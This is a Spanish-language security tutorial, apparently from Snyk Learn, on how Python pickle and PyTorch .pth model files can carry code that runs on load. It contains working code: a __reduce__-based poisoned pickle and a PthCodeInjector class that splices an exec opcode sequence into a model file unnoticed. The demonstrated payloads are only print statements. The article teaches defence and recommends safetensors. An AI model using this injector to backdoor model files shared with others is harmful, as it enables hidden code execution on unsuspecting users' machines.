In this article
Envenenamiento de Pickle en Python y puertas traseras en archivos Pth
El módulo pickle de Python es una herramienta poderosa para serializar objetos, pero presenta riesgos de seguridad, ya que deserializar archivos que no son de confianza puede ejecutar código malicioso. Esto es especialmente relevante en los flujos de trabajo de machine learning que usan archivos .pth compartidos.
Veremos ejemplos de pickle y de PyTorch. Empecemos por comprobar tu configuración de PyTorch.
# Check PyTorch Version, PyTorch GPU, torch cuda version
try:
import torch
print(f'PyTorch Version: {torch.__version__}')
print(f'Path: {torch.__file__}')
print(f'\nCUDA Available: {torch.cuda.is_available()}')
if torch.cuda.is_available():
print(f'CUDA Version: {torch.version.cuda}')
print(f'Graphics Card: {torch.cuda.get_device_name(0)}')
print(f'# of GPUs: {torch.cuda.device_count()}')
for i in range(torch.cuda.device_count()):
print(f'\nGPU {i} Details:')
print(f' Name: {torch.cuda.get_device_name(i)}')
print(f' Memory: {torch.cuda.get_device_properties(i).total_memory / 1024**3:.2f} GB')
else:
print('\nRunning on CPU only')
import multiprocessing
print(f'CPU Cores: {multiprocessing.cpu_count()}')
except ImportError:
print('PyTorch is not installed. Install with: pip install torch')
except Exception as e:
print(f'An error occurred: {str(e)}')Si necesitas instalar PyTorch, el proceso puede variar bastante según tu configuración. Te recomendamos seguir las instrucciones aquí.
Puedes comprobar la versión y el protocolo de tu instalación de pickle de esta manera:
$ python3 -c "import pickle; print(f'Default Protocol: {pickle.DEFAULT_PROTOCOL}\nHighest Protocol: {pickle.HIGHEST_PROTOCOL}\nAll Available Protocols: {list(range(pickle.HIGHEST_PROTOCOL + 1))}')"
El módulo pickle está incluido en la biblioteca estándar de Python, así que no es necesario ejecutar un comando de instalación como pip install pickle.
¿Qué es Pickle en Python?
La biblioteca pickle es el protocolo de serialización nativo de Python. Puede almacenar objetos complejos de Python como una secuencia de “opcodes”, que son instrucciones ejecutables para reconstruir el objeto serializado. Pickle incluso conserva las referencias y las relaciones entre objetos.
Ahora veremos algunos ejemplos prácticos de exploits de ejecución arbitraria de código en pickle.
Envenenamiento de Pickle en Python con código malicioso
Vamos a crear un archivo pickle e insertar una instancia de una clase que contiene código arbitrario que queremos ejecutar durante la deserialización del archivo. Después, mostraremos cómo un usuario final de este archivo podría terminar cargándolo y, de esa manera, activar esta vulnerabilidad.
import pickle
import random
# Generate random tabular data for our example
tabular_data = [
{
"id": i,
"name": f"Item-{i}",
"value": random.randint(1, 100),
"category": random.choice(['A', 'B', 'C'])
}
for i in range(1, 6)
]
# Store the pickle data in a file named 'payload.pkl'
# At this stage, payload.pkl would behave as expected with no potentially malicious side effects during deserialization.
with open('payload.pkl', 'wb') as f:
pickle.dump(tabular_data, f)
# Our class containing arbitrary code we want to execute:
class Malicious:
def __reduce__(self):
# The following code will execute during deserialization
return (print, ("Hello World! Only load pkl files from trusted sources!",))
# Replace original data with malicious code
malicious_payload = Malicious()
# Store potentially malicious pickle data in the same file
with open('payload.pkl', 'wb') as f:
pickle.dump([tabular_data, malicious_payload], f)
# Load the pickle file to show potentially malicious side effects
print("Loading the pickle file 'payload.pkl':")
with open('payload.pkl', 'rb') as f:
data = pickle.load(f)
# Verify the content of the loaded data
print("\nLoaded data:")
print(data)En nuestro ejemplo, solo imprimimos un simple Hello World. Pero una muestra maliciosa podría incluir ransomware.
Envenenamiento de archivos Pth de modelos de PyTorch con código malicioso
Se puede aplicar un proceso similar para insertar código malicioso en archivos pth.
import torch
import torchvision.models as models
import zipfile
import struct
from pathlib import Path
class PthCodeInjector:
"""Minimal implementation to inject code into PyTorch pickle files. (ZIP file with data.pkl)"""
def __init__(self, filepath: str):
self.filepath = Path(filepath)
def inject_payload(self, code: str, output_path: str):
"""Inject Python code into the pickle file."""
# Read original pickle from zip
with zipfile.ZipFile(self.filepath, "r") as zip_ref:
data_pkl_path = next(name for name in zip_ref.namelist() if name.endswith("/data.pkl"))
pickle_data = zip_ref.open(data_pkl_path).read()
# Find insertion point after protocol bytes
i = 2 # Skip PROTO opcode and version byte
# Create exec sequence with protocol 4 pickle opcodes
exec_sequence = (
b'c' + b'builtins\nexec\n' + # GLOBAL opcode + module + attr
b'(' + # MARK opcode
b'\x8c' + struct.pack('<B', len(code)) + code.encode('utf-8') + # SHORT_BINUNICODE
b't' + # TUPLE
b'R' # REDUCE
)
# Insert exec sequence after protocol bytes
modified_pickle = pickle_data[:i] + exec_sequence + pickle_data[i:]
# Write modified pickle back to zip
with zipfile.ZipFile(output_path, 'w') as new_zip:
with zipfile.ZipFile(self.filepath, 'r') as orig_zip:
for item in orig_zip.infolist():
if item.filename.endswith('/data.pkl'):
new_zip.writestr(item.filename, modified_pickle)
else:
new_zip.writestr(item.filename, orig_zip.open(item).read())
# Example and validation
if __name__ == "__main__":
# Create and save original model
torch.manual_seed(0) # For reproducibility and comparing the outputs of the models
model = models.mobilenet_v2()
model.eval()
torch.save(model, "mobilenet.pth")
# Test original model
test_input = torch.randn(1, 3, 224, 224)
original_output = model(test_input)
# Inject payload
modifier = PthCodeInjector("mobilenet.pth")
modifier.inject_payload("print('Hello world! Only load pth files from trusted sources!')", "modified.pth")
# Load and test modified model
modified_model = torch.load("modified.pth") # Should print warning
modified_model.eval()
modified_output = modified_model(test_input)
# Verify models are identical
print("\nVerifying model equivalence:")
print(f"Structure matches: {str(model) == str(modified_model)}")
print(f"Outputs match: {torch.allclose(original_output, modified_output)}")
print(f"Parameters match: {all(torch.equal(p1, p2) for p1, p2 in zip(model.parameters(), modified_model.parameters()))}")Esto podría hacerse de forma más elegante y versátil usando fickling para inyectar el código directamente. Sin embargo, este código nos permite examinar de forma sencilla qué hace posible esta vulnerabilidad. En este caso, se cargan los opcodes que componen el archivo pickle y se inyecta nuestro código potencialmente malicioso entre los opcodes existentes, de modo que el usuario final que cargue este modelo no note ninguna diferencia en su funcionamiento.
Compartir pesos de modelos con Safetensors
Lo ideal es compartir desde el principio los pesos de las redes neuronales en el formato safetensors. Podemos modificar el ejemplo anterior para mostrar una forma de exportarlos a este formato en PyTorch.
import torch
from torch import nn
from safetensors.torch import save_file, load_file
# Example PyTorch model (a simple feed-forward neural network)
class SimpleModel(nn.Module):
def __init__(self):
super(SimpleModel, self).__init__()
self.fc1 = nn.Linear(10, 50)
self.fc2 = nn.Linear(50, 2)
def forward(self, x):
x = torch.relu(self.fc1(x))
return self.fc2(x)
# Create an instance of the model
model = SimpleModel()
# Generate some random weights (or assume it's a trained model)
example_input = torch.randn(1, 10)
output = model(example_input) # Forward pass with random input
# Save the model's weights to Safetensors format
weights = model.state_dict() # Get the state dictionary of the model
save_file(weights, "model.safetensors")
# Loading the model's weights from Safetensors format
loaded_weights = load_file("model.safetensors")
model.load_state_dict(loaded_weights)
# Verify loading worked by making another forward pass
output = model(example_input)
print("\nModel output after loading weights from 'model.safetensors':")
print(output)El archivo safetensors resultante contiene los pesos correspondientes, que se pueden combinar con la arquitectura ya definida en el código para cargar el modelo completo. Sin embargo, muchos modelos, sobre todo los más antiguos, no adoptaron este flujo de trabajo. Los archivos pickle siguen distribuyéndose ampliamente y el formato de serialización pickle sigue siendo el predeterminado al guardar redes neuronales entrenadas en PyTorch.
Otros usos maliciosos de la deserialización de objetos
Los pesos de las redes neuronales no son los únicos datos almacenados en formatos de serialización de objetos como pickle. También es común almacenar conjuntos de datos completos en archivos pickle y, por ejemplo, en el lenguaje de programación R suelen guardarse en archivos RDS.
También es posible insertar código malicioso directamente en los tensores —los propios pesos del modelo— codificándolo en perturbaciones tan pequeñas de los pesos que el impacto en la precisión del modelo sea mínimo. Este proceso se llama esteganografía de tensores. Se puede combinar con exploits de deserialización de pickle para crear un vector de ataque especialmente sigiloso: podría parecer que pickle solo está deserializando un tensor, cuando en realidad también está reconstruyendo código malicioso en memoria para ejecutarlo. Sin embargo, esto sigue requiriendo explotar la vulnerabilidad del formato pickle: safetensors no reconstruiría ni ejecutaría en memoria el código malicioso incrustado.
Los flujos de trabajo de IA generativa también pueden incluir archivos para personalizar y ampliar las capacidades de un modelo base. A menudo, los usuarios descargan LORAs, ControlNets, variantes de IPAdapter o incluso puntos de control de Textual Inversion. Los mismos principios generales que se explican aquí también se aplican a estos tipos de archivos: las LORAs suelen compartirse en el formato safetensors, pero los otros tipos de archivos se comparten menos en ese formato. Ten cuidado al descargar archivos serializados con pickle.
Práctica adicional
Snyk ofrece un evento CTF (Capture The Flag) que se basa en este exploit y te enseña a explotar vulnerabilidades relacionadas con Python Pickle. El laboratorio de exploits de Python se llama Sauerkraut y John Hammond lo explica aquí.
Para obtener más información sobre la seguridad de las aplicaciones de Python y vulnerabilidades como la inyección de código, la inyección XPath y otras, te recomendamos visitar las lecciones de seguridad para desarrolladores de Python de Snyk Learn.

Snyk prioriza la experiencia de desarrollo
Descubre por qué la experiencia de desarrollo es tan importante y cómo Snyk la optimiza con nuestras funciones más recientes.